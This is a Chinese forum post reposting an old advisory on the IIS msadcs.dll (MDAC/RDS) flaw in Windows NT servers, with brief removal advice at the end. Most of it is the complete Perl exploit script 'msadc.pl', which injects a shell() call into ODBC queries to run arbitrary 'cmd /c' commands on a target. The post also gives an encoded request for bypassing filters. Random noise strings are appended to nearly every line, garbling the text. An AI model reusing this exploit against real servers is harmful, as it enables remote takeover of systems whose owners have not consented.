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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) O=MO M  
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涉及程序: S$%T0~PR~  
Microsoft NT server #v=hiL  
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描述: Q68&CO(rE  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 @mNf(&  
/.aZXC$]  
详细: @PZ&/F ^  
如果你没有时间读详细内容的话,就删除: a_L&*%;  
c:\Program Files\Common Files\System\Msadc\msadcs.dll T#|Qexz6 @  
有关的安全问题就没有了。 1G=1FGvP  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 H-nk\ K<|  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 hc"+6xc  
关于利用ODBC远程漏洞的描述,请参看: 7cK#fh"hvg  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm &%>l9~F'~  
37v!:xF!  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 gJ+MoAM"  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp AVOzx00U  
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这里不再论述。 (%oZgvM  
,`^B!U3m   
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: f:B+R  
.*r ?zDV  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ` *&*jdq&i  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! PnFU{N  
xA`Q4"[I  
S?D|"#-,  
#将下面这段保存为txt文件,然后: "perl -x 文件名" pez[qs  
^a[7qX_B  
#!perl aM9^V MOb  
# \%KJ +PJ  
# MSADC/RDS 'usage' (aka exploit) script KR^lmN  
# 1wW8D>f]K  
# by rain.forest.puppy x9a*^l  
# KX"?3#U#Fm  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me t*.O >$[  
# beta test and find errors! o`+6E q0w  
XK`>#*"V  
use Socket; use Getopt::Std; R."<he ;  
getopts("e:vd:h:XR", \%args); {[jcT>.3j  
9Y&n$svB  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";  fv5'Bl  
6ALf`:  
if (!defined $args{h} && !defined $args{R}) { [`Ol&R4k  
print qq~ W% YJ.%I  
Usage: msadc.pl -h <host> { -d <delay> -X -v } zQ(li9  
-h <host> = host you want to scan (ip or domain) AZ(["kh[  
-d <seconds> = delay between calls, default 1 second E=Ah_zKU  
-X = dump Index Server path table, if available ?uc=(J+6  
-v = verbose 38L8AJqD  
-e = external dictionary file for step 5 E&Pv:h,pV&  
1/j J;}  
Or a -R will resume a command session al F*L  
GLB7h 9>  
~; exit;} N0O8to}V  
glH&v8  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; $LRvPan`  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} -w1U /o.  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 0F8y8s  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); V9`VF O  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} kUUN2  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } E b-?wzh  
MG*#-<OV.  
if (!defined $args{R}){ $ret = &has_msadc; ^+F@KXn L  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} <K=:_  
8Focs p2  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" X-|`|>3E  
. "cmd /c "; )TP 1i  
$in=<STDIN>; chomp $in; -;a}'1HOE  
$command="cmd /c " . $in ; Ett%Y*D+J  
x>A(016:C  
if (defined $args{R}) {&load; exit;} /1zi(z   
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; MH.,dB&  
&try_btcustmr; R 3TdQ6j  
7Y&W^]UZ0t  
print "\nStep 2: Trying to make our own DSN..."; Y#{ L}  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; T\:Vu{|  
&{!FE`ZC_  
print "\nStep 3: Trying known DSNs..."; Y/2@PzA|  
&known_dsn; +XLy Pj  
KqG:o+V=  
print "\nStep 4: Trying known .mdbs..."; J/>Y mi,  
&known_mdb; XpJT/&4  
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if (defined $args{e}){ v?,_SVgAi  
print "\nStep 5: Trying dictionary of DSN names..."; G%Hr c  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } yd$_XW p?\  
KS!mzq-  
print "Sorry Charley...maybe next time?\n"; R+Dx#Wn I  
exit; dGt;t5An V  
e[$=5U~c  
############################################################################## 8)s}>:}  
3Wa^:8N  
sub sendraw { # ripped and modded from whisker mDEO$:A  
sleep($delay); # it's a DoS on the server! At least on mine... Di5eD,N  
my ($pstr)=@_; ry\Nm[SQ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 7;:R\d6iL  
die("Socket problems\n"); &|'1.^f@;E  
if(connect(S,pack "SnA4x8",2,80,$target)){ #K.OJJaG  
select(S); $|=1; wS-D"\4/  
print $pstr; my @in=<S>; )s5Q4m!  
select(STDOUT); close(S); *IG} /O.VT  
return @in; X!ZUR^  
} else { die("Can't connect...\n"); }}  qa)X\0  
)cJ9YKKy  
############################################################################## z lco? Rt  
u27K 0}  
sub make_header { # make the HTTP request O68/Hf1W  
my $msadc=<<EOT =e=sK'NvD  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 3.Z}2F]  
User-Agent: ACTIVEDATA .t*MGUg  
Host: $ip FloCR=^H  
Content-Length: $clen 8iaP(*J  
Connection: Keep-Alive rz+)z:u  
.aV#W@iyK  
ADCClientVersion:01.06 Eyv%"+>  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 u|&"l  
Hphvsre<  
--!ADM!ROX!YOUR!WORLD! 0"o%=i;  
Content-Type: application/x-varg M>nplHq   
Content-Length: $reqlen tGDsZ;3Yr  
S+ gzl#r  
EOT )ZC0/>R  
; $msadc=~s/\n/\r\n/g; .;&c<c|  
return $msadc;} FpN>T  
;|*o^9q  
############################################################################## F`IV9qv  
}K1v=k  
sub make_req { # make the RDS request ad+@2-Y  
my ($switch, $p1, $p2)=@_; U2 m86@E  
my $req=""; my $t1, $t2, $query, $dsn; m>B^w)&C  
B*!{LjXV  
if ($switch==1){ # this is the btcustmr.mdb query o9& 1Ct  
$query="Select * from Customers where City=" . make_shell();  G`8i{3:  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . m%hI@'  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} nb::,  
]awu7}C9Z  
elsif ($switch==2){ # this is general make table query  =z`#n}v  
$query="create table AZZ (B int, C varchar(10))"; M:K5r7Q!yv  
$dsn="$p1";} -X BD WV  
MWTzJGRT  
elsif ($switch==3){ # this is general exploit table query = i9|lU"Va  
$query="select * from AZZ where C=" . make_shell(); vncLB&@7  
$dsn="$p1";} DdDwMq  
@c,Qj$\1  
elsif ($switch==4){ # attempt to hork file info from index server fGS5{dti  
$query="select path from scope()"; &v9*D`7L  
$dsn="Provider=MSIDXS;";} 5q4sxY9T  
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elsif ($switch==5){ # bad query :j feY  
$query="select"; uU_lC5A|  
$dsn="$p1";} ;%wQnhg  
6+`+$s0  
$t1= make_unicode($query); _=l8e-6r  
$t2= make_unicode($dsn); whFaL}2C  
$req = "\x02\x00\x03\x00"; 12r]"?@|s  
$req.= "\x08\x00" . pack ("S1", length($t1)); jyB^a;-  
$req.= "\x00\x00" . $t1 ; 1 ? be  
$req.= "\x08\x00" . pack ("S1", length($t2)); f/+UD-@%m  
$req.= "\x00\x00" . $t2 ; OwRH :l  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; W C z+  
return $req;} ip.aM#  
${fJ]  
############################################################################## En-BT0o  
4 :m/w!q$  
sub make_shell { # this makes the shell() statement d0ZbusHHb  
return "'|shell(\"$command\")|'";} 4'EC(NR7N  
kq +`.  
############################################################################## 2smQD8t  
Y6<"_  
sub make_unicode { # quick little function to convert to unicode 93I.Wp_{  
my ($in)=@_; my $out; VaKBS/y"  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ~Psv[b=]  
return $out;} sX_6qKUH  
a(cZ]`s]*  
############################################################################## h|m>JDxn  
w K)/m`{g  
sub rdo_success { # checks for RDO return success (this is kludge) o+-G@ 16  
my (@in) = @_; my $base=content_start(@in); Nr6[w|Tzd  
if($in[$base]=~/multipart\/mixed/){ ~t0\Q; @($  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} *F[;D7sZ~  
return 0;} Ek#?B6s  
Qmbl_#  
############################################################################## hf#[Vns  
LYM(eK5V  
sub make_dsn { # this makes a DSN for us  3"B$M  
my @drives=("c","d","e","f"); ]CL t Km  
print "\nMaking DSN: "; XNZW J  
foreach $drive (@drives) { #i6ZY^+ee  
print "$drive: "; Iq/V[v  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . M{)7C,'  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" AE?G+:B  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 2$S^3$k'  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; bSbUf%LKt  
return 0 if $2 eq "404"; # not found/doesn't exist a[).'$S}'  
if($2 eq "200") { (c3%rM m]  
foreach $line (@results) { >U4hsr05  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} w&U>w@H^  
} return 0;} q2>dPI;3T  
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############################################################################## R>|)-"b( `  
6,J:sm\  
sub verify_exists { s}m.r5  
my ($page)=@_; 1 UyQ``v/  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 0J \hku\  
return $results[0];} (}^Qo^Vr  
8y$c\Eu(mF  
############################################################################## xNLvK:@0p  
83~9Xb=!\  
sub try_btcustmr { O\;R (  
my @drives=("c","d","e","f"); 9pY`_lxa>  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @ckOLtxE>  
@)hrj2Jw  
foreach $dir (@dirs) { b!do7%]i  
print "$dir -> "; # fun status so you can see progress `y%1K|Y=  
foreach $drive (@drives) { fQ.{s Q$@h  
print "$drive: "; # ditto cx_.+R  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; aNcuT,=(?8  
$reqlenlen=length( "$reqlen" ); 1ig#|v*+  
$clen= 206 + $reqlenlen + $reqlen; yKy07<Gr>  
uW@o,S0:  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Xj;\ROBH-  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} f*uD9l%/  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} W'0(0;+G/j  
8r|5l~`8  
############################################################################## Adyv>T9  
"~-Y 'O  
sub odbc_error { $d[ -feU  
my (@in)=@_; my $base; e1d);m$  
my $base = content_start(@in); qYi<GI*|@  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this gr&Rkuyfv  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +[2X@J  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hp:8e@  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; h~ F`[G/'  
return $in[$base+4].$in[$base+5].$in[$base+6];} 0nX.%2p#Je  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ;?-`n4B&  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . VOmWRy"L  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} JE[+  
1Vden.H*CI  
############################################################################## ]n/fB|tE  
l>H G|ol  
sub verbose { 4t Z. T9d  
my ($in)=@_; Wd0$t    
return if !$verbose; vWM'}(  
print STDOUT "\n$in\n";} [+j39d.Q  
#c2InwZV  
############################################################################## s3., N|  
"q'9-lk  
sub save {  `LWZ!Q  
my ($p1, $p2, $p3, $p4)=@_; |ULwUi-r  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ^mNPP:%iN  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 1!;}#m7v  
close OUT;} ":o1g5?  
fUJ\W"qya  
############################################################################## pPezy:  
p]7Gj &a  
sub load { ;4g_~fB  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; &R'%OFi  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); TLkJZ4}?Q  
@p=<IN>; close(IN); %s#`i$|z*n  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); >Za66<:  
$target= inet_aton($ip) || die("inet_aton problems"); qL\*rYe<  
print "Resuming to $ip ..."; HJ\CGYmyz  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 2k^dxk~$V;  
if($p[1]==1) { qtv>`:neB  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; FyZiiH4|  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; zF F=v7[j  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); j5cc"s  
if (rdo_success(@results)){print "Success!\n";} _`Abz2s  
else { print "failed\n"; verbose(odbc_error(@results));}} ^edg@fp  
elsif ($p[1]==3){ H$ sNp\[{  
if(run_query("$p[3]")){ 4]\t6,Cz8  
print "Success!\n";} else { print "failed\n"; }} 7%(|)3"V  
elsif ($p[1]==4){ B-OuBS,fwC  
if(run_query($drvst . "$p[3]")){ T21SuM  
print "Success!\n"; } else { print "failed\n"; }} r7I,%}k  
exit;} j&S8x|5  
kP6P/F|RcZ  
############################################################################## kZlRS^6  
>VAZ^kgi  
sub create_table { \sy;ca)[6g  
my ($in)=@_; -}ebn*7i\  
$reqlen=length( make_req(2,$in,"") ) - 28; I)-u)P?2x  
$reqlenlen=length( "$reqlen" ); OoFQ@zE7%  
$clen= 206 + $reqlenlen + $reqlen; c0H8FF3  
my @results=sendraw(make_header() . make_req(2,$in,"")); ~'4:{xH  
return 1 if rdo_success(@results); E"[^^<I  
my $temp= odbc_error(@results); verbose($temp); Wv   
return 1 if $temp=~/Table 'AZZ' already exists/; EmDA\9~@R  
return 0;} mQ9%[U,  
\E'Nk$V3  
############################################################################## Efb S*f5  
P7Th 94  
sub known_dsn { VH{SE7  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go y %k`  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", >e4  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", {d;eZt `  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ,]N!I%SI  
d E@R7yU@  
foreach $dSn (@dsns) { `;^%t  
print "."; RfT#kh/5  
next if (!is_access("DSN=$dSn")); h&!k!Su3#  
if(create_table("DSN=$dSn")){ 6]|NB&  
print "$dSn successful\n"; V.IgEE]  
if(run_query("DSN=$dSn")){ VD \pQ.=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { h>Z$ n`T  
print "Something's borked. Use verbose next time\n";}}} print "\n";} r: _- Cj  
cVZCBcKC?  
############################################################################## ZSuMQ32  
;z9(  
sub is_access { NVnKgGlHgd  
my ($in)=@_; /D[GXX  
$reqlen=length( make_req(5,$in,"") ) - 28; 7p?6j)rj  
$reqlenlen=length( "$reqlen" ); J3sO%4sYR  
$clen= 206 + $reqlenlen + $reqlen; k3m|I*_\L  
my @results=sendraw(make_header() . make_req(5,$in,"")); p6V`b'*>  
my $temp= odbc_error(@results); + R)x5  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Q#@gOn=W\  
return 0;} lQ%]](a6  
5L<}u` 0J  
############################################################################## ?=<vC  
}P$48o VY  
sub run_query { YbC6&_  
my ($in)=@_; &DX9m4,y  
$reqlen=length( make_req(3,$in,"") ) - 28; %*.;3;m  
$reqlenlen=length( "$reqlen" ); ^g,[#Rh  
$clen= 206 + $reqlenlen + $reqlen; cU25]V^{\  
my @results=sendraw(make_header() . make_req(3,$in,"")); 5 TD"  
return 1 if rdo_success(@results); lLHHuQpuj  
my $temp= odbc_error(@results); verbose($temp); S^ ?OKqS  
return 0;} 5eC5oX>  
+q]  
############################################################################## a9GOY+;bf  
b`n+[UCPtn  
sub known_mdb { D PnKr/  
my @drives=("c","d","e","f","g"); oHmU|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); x8T5aS  
my $dir, $drive, $mdb;  ]{OEU]I@  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; XN"V{;OP1  
Z'GO p?  
# this is sparse, because I don't know of many /UjRuUC]  
my @sysmdbs=( "\\catroot\\icatalog.mdb", *seKph+'c  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", KQ/v](7 7  
"\\system32\\certmdb.mdb", *DX6m  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% l;L&ijTQD  
oll~|J^sg  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", )_T[thf]  
"\\cfusion\\cfapps\\forums\\forums_.mdb", v&(X& q  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 2 G_*Pqc  
"\\cfusion\\cfapps\\security\\realm_.mdb", }H{{@RU  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 1vu4}%nD  
"\\cfusion\\database\\cfexamples.mdb", h*hV  
"\\cfusion\\database\\cfsnippets.mdb", gQ h0-Dnw  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ]Bs ?  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", L6j 5pI  
"\\cfusion\\brighttiger\\database\\cleam.mdb", $*%Ml+H-  
"\\cfusion\\database\\smpolicy.mdb", uL b- NxQ-  
"\\cfusion\\database\cypress.mdb", @Q x|!%  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", d@"eWvnlZ  
"\\website\\cgi-win\\dbsample.mdb", -!MDYj+U  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", w2~(/RgO  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" o lNL|WJ`w  
); #these are just `hS<F" j  
foreach $drive (@drives) { 8N(bLGUG  
foreach $dir (@dirs){ bF' ~&<c  
foreach $mdb (@sysmdbs) { 76)(G/  
print "."; j:|60hDz^  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ d\, 4Wet;#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; UL[4sv6\9  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ~`hI|i<]  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; R*TCoEKO  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 8N6a=[fv<  
^lu)'z%6  
foreach $drive (@drives) { h^>kjMM  
foreach $mdb (@mdbs) { -p ) l63  
print "."; O6OP{sb  
if(create_table($drv . $drive . $dir . $mdb)){ 9Pd~  
print "\n" . $drive . $dir . $mdb . " successful\n"; % @Ks<"9  
if(run_query($drv . $drive . $dir . $mdb)){ fB"3R-H?O  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ~>D;2 S(a  
} else { print "Something's borked. Use verbose next time\n"; }}}} d"XS;;l%<  
} 5]; 8  
;k7` `  
############################################################################## 6kT l(+  
xbo-~{  
sub hork_idx { g$dL5N7  
print "\nAttempting to dump Index Server tables...\n"; Ph]e\  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; $Miii`VS9  
$reqlen=length( make_req(4,"","") ) - 28; $2>tfKhtA  
$reqlenlen=length( "$reqlen" ); 2>fG}qYy$  
$clen= 206 + $reqlenlen + $reqlen; wXZ.D}d  
my @results=sendraw2(make_header() . make_req(4,"","")); yixW>W}  
if (rdo_success(@results)){ WGG|d)'@  
my $max=@results; my $c; my %d; B0q![  
for($c=19; $c<$max; $c++){ 8t}=?:B+{  
$results[$c]=~s/\x00//g; ^Sy\<  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; l$,l3  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 2t[c^J  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; g,y`[dr  
$d{"$1$2"}="";} 9qXHdpb#g"  
foreach $c (keys %d){ print "$c\n"; } M=o,Sav5*  
} else {print "Index server doesn't seem to be installed.\n"; }} I6y&6g  
yc]ni.Hz  
############################################################################## 0 nWV1)Q0=  
rxa"ji!)  
sub dsn_dict { h#]}J}si  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); <mY`<(bc  
while(<IN>){ <?qmB }Y  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; J-?\,N1R7  
next if (!is_access("DSN=$dSn")); N>ct`a)BD/  
if(create_table("DSN=$dSn")){ w,3`Xq@  
print "$dSn successful\n"; -#gb {vj  
if(run_query("DSN=$dSn")){ .&@|)u  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { dN |w;|M  
print "Something's borked. Use verbose next time\n";}}} YXI DqTA+  
print "\n"; close(IN);} FbFUZ^Zj  
=#Vdz=.  
############################################################################## d*A>P  
1uV_C[:  
sub sendraw2 { # ripped and modded from whisker 9d[0i#`:q  
sleep($delay); # it's a DoS on the server! At least on mine... Bf'jXM{-  
my ($pstr)=@_; }%k"qW<Y  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <u2*(BM4  
die("Socket problems\n"); fy_'K}i3k  
if(connect(S,pack "SnA4x8",2,80,$target)){ ]; ^OY\,  
print "Connected. Getting data"; #(aROTV5a  
open(OUT,">raw.out"); my @in; p6Z]oL q  
select(S); $|=1; print $pstr; i $I|JJJ  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} /=e[(5X|O  
close(OUT); select(STDOUT); close(S); return @in; z(\H.P#  
} else { die("Can't connect...\n"); }} 3sp*.dk  
{f^30Fw  
############################################################################## )7j"OE  
E 3I'3  
sub content_start { # this will take in the server headers n;Iey[7_E`  
my (@in)=@_; my $c; ['s_qCA[  
for ($c=1;$c<500;$c++) { mH{cGu?  
if($in[$c] =~/^\x0d\x0a/){ >P0AGZ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ]NFDE-Jz]  
else { return $c+1; }}} Gzp)OHgJ  
return -1;} # it should never get here actually M\v4{\2l0  
/$eEj  
############################################################################## E0O{5YF^T  
oQ yG  
sub funky { bLV@Ts  
my (@in)=@_; my $error=odbc_error(@in); 4uftx1o   
if($error=~/ADO could not find the specified provider/){ t&P5Zw*B  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ~:t2@z4p  
exit;} p\-.DRwT`  
if($error=~/A Handler is required/){  v$tS 2N2  
print "\nServer has custom handler filters (they most likely are patched)\n"; cF(9[8c{  
exit;} 4tuEC-oh  
if($error=~/specified Handler has denied Access/){ M9&tys[KX  
print "\nServer has custom handler filters (they most likely are patched)\n"; 8dA/dMQ  
exit;}} $s]@%6 f  
8V|-BP5^  
############################################################################## zf o.S[R@  
_-!6@^+  
sub has_msadc { >8 JvnBFx=  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Bp/8 >E O`  
my $base=content_start(@results); .ERO*Tj  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 2~`dV_  
return 0;} ,o}[q92@w  
^_=0.:QaW  
######################## GUp51*#XR  
;XtDz  
]cA~%$c89s  
解决方案: wcL0#[)  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ~o2{Wn["  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 5:PZ=jPR  
8n:D#`K  
拿出来充数 哈哈
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